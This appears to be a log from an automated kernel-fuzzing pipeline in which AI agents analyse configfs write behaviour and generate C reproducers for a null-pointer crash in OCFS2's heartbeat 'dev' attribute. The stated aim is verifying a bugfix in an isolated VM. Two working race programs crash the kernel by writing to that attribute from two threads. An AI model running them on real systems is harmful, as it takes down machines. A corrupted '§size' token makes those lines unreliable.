479: return fsnotify_file_area_perm(file, mask, ppos, count);
480: }
481: EXPORT_SYMBOL(rw_verify_area);
482:
483: static ssize_t new_sync_read(struct file *filp, char __user *buf, size_t len, loff_t *ppos)
484: {
]
|
| 146/7 |
2026/09/04 20:49 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 34968
output: 30
thoughts: 2959
Thoughts: **A Deep Dive into ConfigFS Write Operations: Regular vs. Binary Attributes**
I've been looking into the intricacies of how data is written to configFS attributes, and it's clear there's a significant distinction between regular text attributes and binary attributes. My initial thought was to compare `configfs_bin_write_iter` and `configfs_write_iter`, which led me to realize that configFS indeed defines two distinct types of attributes: `struct configfs_attribute` for regular text and `struct configfs_bin_attribute` for binary data.
Let's break down what happens in each scenario.
**Case 1: Regular Text Attributes (`struct configfs_attribute`)**
When dealing with regular attributes, the `configfs_write_iter` function is invoked. My analysis shows that this function operates in two main stages:
1. **`fill_write_buffer`**: This function is responsible for copying data from the user-space buffer into an internal kernel buffer, specifically `buffer->page`. Crucially, it copies the *entire* data provided, up to `SIMPLE_ATTR_SIZE - 1` (which is 4095 bytes), and then null-terminates it at `buffer->page[copied]`.
2. **`flush_write_buffer`**: This function then takes the data from `buffer->page` and passes it to the actual driver callback, `buffer->attr->store(buffer->item, buffer->page, count)`.
The implication here is that for regular attributes, every single call to `pwrite(fd, buf, len, 0)` directly triggers the `attr->store()` callback. The function returns the result of this `store()` operation. What's interesting is that even though `iocb->ki_pos` is updated, configFS regular writes don't use `ki_pos` to manage data within the buffer itself; they always write to the start of `buffer->page`. Because `pwrite` is used with an offset of `0`, `file->f_pos` remains unchanged, but this doesn't impact how the data is handled for the write.
I've also considered potential issues with repeated writes:
* **Single Threaded Loop**: In a tight loop within a single thread, each `pwrite` call acquires `buffer->mutex`, overwrites `buffer->page` from the beginning, calls `store()`, and then releases the mutex. This sequence executes reliably on each iteration.
* **Data Size**: If the data to be written exceeds `SIMPLE_ATTR_SIZE - 1`, `fill_write_buffer` will only copy up to that limit. Regular configFS attributes are inherently limited to 4096 bytes.
* **Attribute Removal**: If the attribute is removed (e.g., via `rmdir` on the item) while a write operation is in progress, the `flush_write_buffer` function checks a `frag->frag_dead` flag. If the item is gone, `store()` is skipped, and `-ENOENT` is returned.
* **`write` vs. `pwrite`**: While `write(fd, buf, len)` increments `file->f_pos` with each call, `fill_write_buffer` *always* uses `buffer->page` from its beginning, ignoring `ki_pos`. However, `iocb->ki_pos += len` *is* executed. For `pwrite(..., 0)`, the offset is always zero, so `f_pos` doesn't change, and there's no risk of `pos + count` overflowing `LLONG_MAX`.
**Case 2: Binary Attributes (`struct configfs_bin_attribute`)**
The behavior for binary attributes is markedly different. My examination of `configfs_bin_write_iter` and `configfs_release_bin_file` reveals the following:
* **Buffering, Not Immediate Callback**: The `configfs_bin_write_iter` function *does not* call the driver's `write()` callback during `write()` or `pwrite()` operations. Instead, it diligently buffers all incoming data into `buffer->bin_buffer`. It even handles dynamic resizing of this buffer if necessary, within specified size limits (`cb_max_size`).
* **Single Callback on Close**: The driver's `bin_attr->write(...)` callback is *only* invoked *once*, and that happens when the file descriptor associated with the binary attribute is closed, specifically within the `configfs_release_bin_file` function.
* **Repeated `pwrite` Behavior**: If I were to perform `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute, it would repeatedly overwrite `buffer->bin_buffer` at offset 0. The driver's write callback would *never* be triggered during this loop. The entire accumulated data would only be processed upon closing the file.
* **Seeking**: The documentation notes that binary attributes are not seekable (`configfs_bin_file_operations.llseek` is NULL). However, `pwrite(..., 0)` still works because the `vfs_write` mechanism internally handles the `kiocb->ki_pos`. But, as I've emphasized, the actual attribute write method isn't called until `close(fd)`.
The official documentation confirms this: "The write(2) calls from user space are buffered, and the attributes' write_bin_attribute method will be invoked on the final close, therefore it is imperative for user-space to check the return code of close(2) in order to verify that the operation finished successfully."
**Comparison with Sysfs/Kernfs**
I also briefly considered sysfs (kernfs) behavior for context. In sysfs, `kernfs_fop_write_iter` passes the current offset (`iocb->ki_pos`) to the `ops->write` callback. This means that repeated `write` calls without explicit seeking back to 0 would naturally lead to writes at increasing offsets. Many sysfs attribute handlers are designed to only accept writes at offset 0, or they might handle offsets in specific ways. Often, users were advised to use `pwrite(fd, buf, len, 0)` or explicitly `lseek` before writing to ensure operations always occurred at the beginning of the attribute. This contrasts with configFS regular attributes, where `fill_write_buffer` always starts from the beginning of its internal buffer, and with binary attributes, where the offset is relevant for buffering but the callback is deferred.
In summary, the core difference is that regular attributes execute their `store()` callback immediately on every write, while binary attributes buffer data and only call their `write()` callback once, upon closing the file descriptor. This distinction is critical for understanding how data is handled and for ensuring operations complete successfully, especially when relying on return codes.
|
| 147/7 |
2026/09/04 20:50 |
tool |
grepper |
0m
Args: map[Expression:sysfs_kf_write PathPrefix:fs/sysfs]
Results: map[Output:fs/sysfs/file.c=106=static ssize_t sysfs_kf_read(struct kernfs_open_file *of, char *buf,
--
fs/sysfs/file.c-135-/* kernfs write callback for regular sysfs files */
fs/sysfs/file.c:136:static ssize_t sysfs_kf_write(struct kernfs_open_file *of, char *buf,
fs/sysfs/file.c-137- size_t count, loff_t pos)
--
fs/sysfs/file.c=230=static const struct kernfs_ops sysfs_file_kfops_wo = {
fs/sysfs/file.c:231: .write = sysfs_kf_write,
fs/sysfs/file.c-232-};
--
fs/sysfs/file.c=234=static const struct kernfs_ops sysfs_file_kfops_rw = {
fs/sysfs/file.c-235- .seq_show = sysfs_kf_seq_show,
fs/sysfs/file.c:236: .write = sysfs_kf_write,
fs/sysfs/file.c-237-};
--
fs/sysfs/file.c=244=static const struct kernfs_ops sysfs_prealloc_kfops_wo = {
fs/sysfs/file.c:245: .write = sysfs_kf_write,
fs/sysfs/file.c-246- .prealloc = true,
--
fs/sysfs/file.c=249=static const struct kernfs_ops sysfs_prealloc_kfops_rw = {
fs/sysfs/file.c-250- .read = sysfs_kf_read,
fs/sysfs/file.c:251: .write = sysfs_kf_write,
fs/sysfs/file.c-252- .prealloc = true,
]
|
| 148/7 |
2026/09/04 20:50 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 38457
output: 36
thoughts: 29
Thoughts: **My Thought Process Regarding `fs/sysfs/file.c` and `sysfs_kf_write`**
Alright, so my primary objective here is to gain a deeper understanding of how `sysfs` handles file writes, specifically within the context of `sysfs_kf_write`. I'm going to dive into the `fs/sysfs/file.c` source file and pinpoint the `sysfs_kf_write` function. My intention is to meticulously examine its implementation, paying close attention to the mechanisms it employs for data manipulation and integration. Crucially, I want to see how it compares to other related or analogous write operations within the kernel, not necessarily limited to `sysfs` itself, but potentially other file system contexts or kernel subsystems. This comparative analysis will be instrumental in identifying any unique approaches, potential optimizations, or even areas of concern within `sysfs_kf_write`. By dissecting this specific function and placing it within a broader kernel context, I aim to build a comprehensive mental model of `sysfs` write operations and their place in the overall kernel architecture.
|
| 149/7 |
2026/09/04 20:50 |
tool |
read-file |
0m
Args: map[File:fs/sysfs/file.c FirstLine:135 LineCount:25]
Results: map[Contents: 135: /* kernfs write callback for regular sysfs files */
136: static ssize_t sysfs_kf_write(struct kernfs_open_file *of, char *buf,
137: size_t count, loff_t pos)
138: {
139: const struct sysfs_ops *ops = sysfs_file_ops(of->kn);
140: struct kobject *kobj = sysfs_file_kobj(of->kn);
141:
142: if (!count)
143: return 0;
144:
145: return ops->store(kobj, of->kn->priv, buf, count);
146: }
147:
148: /* kernfs write callback for bin sysfs files */
149: static ssize_t sysfs_kf_bin_write(struct kernfs_open_file *of, char *buf,
150: size_t count, loff_t pos)
151: {
152: const struct bin_attribute *battr = of->kn->priv;
153: struct kobject *kobj = sysfs_file_kobj(of->kn);
154: loff_t size = file_inode(of->file)->i_size;
155:
156: if (size) {
157: if (size <= pos)
158: return -EFBIG;
159: count = min_t(ssize_t, count, size - pos);
]
|
| 150/7 |
2026/09/04 20:50 |
llm |
codeexpert |
0m
Model:
Tokens:
input: 38944
output: 717
thoughts: 2156
Thoughts: **My Thoughts on Configfs Write Behavior**
I've been examining how writes to configfs attributes behave, specifically in the context of repeated `write()` or `pwrite()` calls in a tight loop. My primary concern is understanding the implications for both regular attributes and the specialized binary attributes, and whether there are any unexpected behaviors or limitations.
**Initial Observation on Binary Attributes and `sysfs_bin_attr_write`:**
My first thought was about the behavior of binary attributes in general, remembering that something like `sysfs_bin_attr_write` had a potential issue where repeated writes without `lseek` to offset 0 could lead to unexpected behavior if the size limit was hit. I recalled a check like `if (size <= pos) return -EFBIG;`. This made me wonder if a similar scenario might arise in configfs's binary attributes.
**Diving into Configfs - Regular Attributes First:**
To get a clear picture, I decided to trace the code for regular configfs attributes. I reviewed `fs/configfs/file.c`, specifically focusing on `configfs_write_iter`.
* **`configfs_write_iter`**: This function is the entry point for writes. It locks a per-file-handle buffer (`buffer->mutex`) and then calls `fill_write_buffer` to copy data from the user iterator.
* **`fill_write_buffer`**: This function allocates a page buffer if needed and copies data from the user iterator into `buffer->page`. Crucially, it NUL-terminates the buffer, implying it's intended for string-like data. It also sets `buffer->needs_read_fill = 1`. The maximum size copied is `SIMPLE_ATTR_SIZE - 1`, which is 4095 bytes.
* **`flush_write_buffer`**: This is where the actual attribute `store` callback is invoked. It takes a read lock on `frag->frag_sem` and calls `buffer->attr->store(buffer->item, buffer->page, count)`. This happens for every successful write.
**My Findings for Regular Attributes:**
Based on this, my understanding for **regular configfs attributes** is:
1. **Consistent `store` Callback:** Every `pwrite(fd, buf, len, 0)` call in a tight loop *will* trigger the attribute's `store` callback synchronously. This is because `flush_write_buffer` is called unconditionally after `fill_write_buffer` if `len > 0`.
2. **Offset Handling:** While `pwrite(..., 0)` is specified, the internal logic of `fill_write_buffer` effectively writes to the beginning of the internal `buffer->page` regardless of the `file->f_pos` from `pwrite`. The key is that the `store` callback receives the current data buffer.
3. **Size Limitation:** The internal buffer has a fixed size (`SIMPLE_ATTR_SIZE - 1`), meaning writes larger than this will effectively be truncated or handled according to how `copy_from_iter` behaves with larger user buffers.
4. **Synchronization:** The internal buffer is protected by `buffer->mutex`, and the target item's validity is protected by `frag->frag_sem`. This seems robust for concurrent operations.
**Now, onto Binary Attributes:**
My suspicion about binary attributes was stronger. I looked at `fs/configfs/file.c` again, focusing on `configfs_bin_write_iter` and the associated operations (`configfs_bin_file_operations`).
* **`configfs_bin_write_iter`**: This function is different. Instead of immediately calling a `store` callback, it appears to **buffer** all written data into a kernel buffer (`buffer->bin_buffer`). The actual `bin_attr->write` callback is **not** invoked during the write syscall itself.
* **Callback Timing**: My analysis shows that the `bin_attr->write` callback is only executed once, at the very end, when the file descriptor is closed. This happens within `configfs_release_bin_file`.
**My Findings for Binary Attributes:**
This leads me to a significant difference for **binary configfs attributes**:
1. **Buffering, Not Immediate Execution:** Repeated `pwrite(fd, buf, len, 0)` calls in a tight loop on a binary attribute will **not** trigger the `bin_attr->write` callback on each iteration. Instead, the data written in each syscall will simply overwrite the contents of the internal `buffer->bin_buffer` at the relevant offset.
2. **Single Callback on `close()`:** The `bin_attr->write` function will only be invoked *once* when the file descriptor associated with the binary attribute is closed. All the data that was written across all the `pwrite` calls will then be passed to the callback at that single point in time.
**Summary of Key Differences and Considerations:**
* **Regular Attributes:** `pwrite` (or `write`) in a loop directly and synchronously triggers the `store` callback for each operation. This is ideal for setting individual values.
* **Binary Attributes:** `pwrite` (or `write`) in a loop accumulates data in an internal buffer. The `bin_attr->write` callback is deferred until `close()` is called on the file descriptor. This is more akin to writing a contiguous block of data that is then processed all at once.
**Additional Nuances I've Considered:**
* **`len == 0` in `fill_write_buffer`**: I noticed that if `copy_from_iter` copies 0 bytes (e.g., if the user iterator is empty), `fill_write_buffer` returns `-EFAULT`. This seems like a specific handling for zero-length writes.
* **Negative `pos`**: `ksys_pwrite64` handles negative offsets by returning `-EINVAL`.
* **Invalid `buf`**: If the user buffer is invalid, `copy_from_iter` or the underlying VFS write mechanisms will return an error like `-EFAULT`.
* **Item Deletion**: If the configfs item is removed (`rmdir`) while operations are ongoing, the `frag->frag_dead` flag will be set, and subsequent writes will correctly return `-ENOENT`.
* **Driver Implementation**: For both attribute types, the driver's `store` or `write` implementation must be designed to handle potentially rapid, sequential calls if that's how it's expected to be used.
In conclusion, my deep dive confirms that there's a critical semantic difference between regular and binary configfs attributes regarding how write operations are handled in loops. For regular attributes, it's a direct, per-write callback. For binary attributes, it's a buffered approach with a single callback upon closing the file. This is an important distinction for anyone interacting with configfs.
|
| 151/7 |
2026/09/04 20:50 |
tool |
set-results |
0m
Args: map[Answer:The behavior depends on whether the attribute is a **regular (standard text) attribute** or a **binary attribute**:
---
### 1. Regular Configfs Attributes (`struct configfs_attribute`)
**There is no issue, and it will correctly trigger the `store` function every time.**
#### How it works:
* When `pwrite(fd, buf, len, 0)` is invoked on a regular configfs attribute file, the kernel executes:
`ksys_pwrite64()` $\to$ `vfs_write()` $\to$ `new_sync_write()` $\to$ `configfs_write_iter()`.
* In `configfs_write_iter()` (`fs/configfs/file.c`):
1. `fill_write_buffer()` copies the user buffer into `buffer->page` (starting at offset 0, up to `SIMPLE_ATTR_SIZE - 1` = 4095 bytes) and ensures NUL-termination.
2. `flush_write_buffer()` acquires the fragment read lock (`frag->frag_sem`) and directly calls the attribute's store callback:
```c
res = buffer->attr->store(buffer->item, buffer->page, count);
```
3. The return value of `store()` is returned to userspace.
* Because `pwrite` explicitly supplies offset `0`, `file->f_pos` is not advanced across iterations (and even internally, `fill_write_buffer()` always writes to index 0 of `buffer->page`).
* Each call in a tight loop safely acquires `buffer->mutex`, updates the page, invokes `store()`, and releases the mutex.
#### Considerations for Regular Attributes:
* **Size limit**: Standard configfs attributes are limited to `SIMPLE_ATTR_SIZE` (4096 bytes, max 4095 copied bytes).
* **Item deletion**: If the config item is removed (`rmdir`) while the loop is running, `frag->frag_dead` becomes true and subsequent `pwrite()` calls return `-ENOENT`.
* **Driver idempotency/performance**: The underlying module's `store()` callback must be prepared to handle rapid repeated calls and any concurrency/locking in the driver.
---
### 2. Binary Configfs Attributes (`struct configfs_bin_attribute`)
**Yes, there is an issue: it will NOT trigger the `write` callback every time.**
#### How it works:
* Configfs uses distinct operations for binary attributes (`configfs_bin_file_operations`).
* In `configfs_bin_write_iter()`, write operations only copy data into an internal memory buffer (`buffer->bin_buffer`) and **do not** invoke the driver's write callback.
* The write callback (`buffer->bin_attr->write(...)`) is only invoked **once** upon closing the file descriptor (`configfs_release_bin_file()` during `close(fd)`).
* Consequently, calling `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute simply overwrites the in-memory buffer at offset 0 repeatedly; the driver's callback is executed only once when the file is finally closed.]
Results: map[Answer:The behavior depends on whether the attribute is a **regular (standard text) attribute** or a **binary attribute**:
---
### 1. Regular Configfs Attributes (`struct configfs_attribute`)
**There is no issue, and it will correctly trigger the `store` function every time.**
#### How it works:
* When `pwrite(fd, buf, len, 0)` is invoked on a regular configfs attribute file, the kernel executes:
`ksys_pwrite64()` $\to$ `vfs_write()` $\to$ `new_sync_write()` $\to$ `configfs_write_iter()`.
* In `configfs_write_iter()` (`fs/configfs/file.c`):
1. `fill_write_buffer()` copies the user buffer into `buffer->page` (starting at offset 0, up to `SIMPLE_ATTR_SIZE - 1` = 4095 bytes) and ensures NUL-termination.
2. `flush_write_buffer()` acquires the fragment read lock (`frag->frag_sem`) and directly calls the attribute's store callback:
```c
res = buffer->attr->store(buffer->item, buffer->page, count);
```
3. The return value of `store()` is returned to userspace.
* Because `pwrite` explicitly supplies offset `0`, `file->f_pos` is not advanced across iterations (and even internally, `fill_write_buffer()` always writes to index 0 of `buffer->page`).
* Each call in a tight loop safely acquires `buffer->mutex`, updates the page, invokes `store()`, and releases the mutex.
#### Considerations for Regular Attributes:
* **Size limit**: Standard configfs attributes are limited to `SIMPLE_ATTR_SIZE` (4096 bytes, max 4095 copied bytes).
* **Item deletion**: If the config item is removed (`rmdir`) while the loop is running, `frag->frag_dead` becomes true and subsequent `pwrite()` calls return `-ENOENT`.
* **Driver idempotency/performance**: The underlying module's `store()` callback must be prepared to handle rapid repeated calls and any concurrency/locking in the driver.
---
### 2. Binary Configfs Attributes (`struct configfs_bin_attribute`)
**Yes, there is an issue: it will NOT trigger the `write` callback every time.**
#### How it works:
* Configfs uses distinct operations for binary attributes (`configfs_bin_file_operations`).
* In `configfs_bin_write_iter()`, write operations only copy data into an internal memory buffer (`buffer->bin_buffer`) and **do not** invoke the driver's write callback.
* The write callback (`buffer->bin_attr->write(...)`) is only invoked **once** upon closing the file descriptor (`configfs_release_bin_file()` during `close(fd)`).
* Consequently, calling `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute simply overwrites the in-memory buffer at offset 0 repeatedly; the driver's callback is executed only once when the file is finally closed.]
|
| 152/5 |
2026/09/04 20:50 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 21866
output: 1596
thoughts: 31
Thoughts: **My Thought Process on Optimizing the `pwrite` Loop**
Ah, this is excellent! My analysis has confirmed that `dev` is indeed a regular attribute. This is a crucial piece of information because it means we can leverage the `pwrite` operation within a tight loop for optimal performance.
My next step, therefore, will be to construct and output the final reproducer. This will encapsulate the optimized approach and provide a clear demonstration of its effectiveness.
|
| 153/3 |
2026/09/04 20:50 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.
### Root Cause Analysis
The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`.
When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
```c
out:
if (ret < 0) {
// ...
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
}
```
Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.
### Minimal C Reproducer
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d\n", dev_fd);
fd_len = strlen(fd_str);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```]
|
| 154/3 |
2026/09/04 20:50 |
agent |
repro-generator |
2m
Model:
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: null-ptr-deref Write in fput
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664
CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:186 [inline]
kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x2e/0x100 fs/file_table.c:588
o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
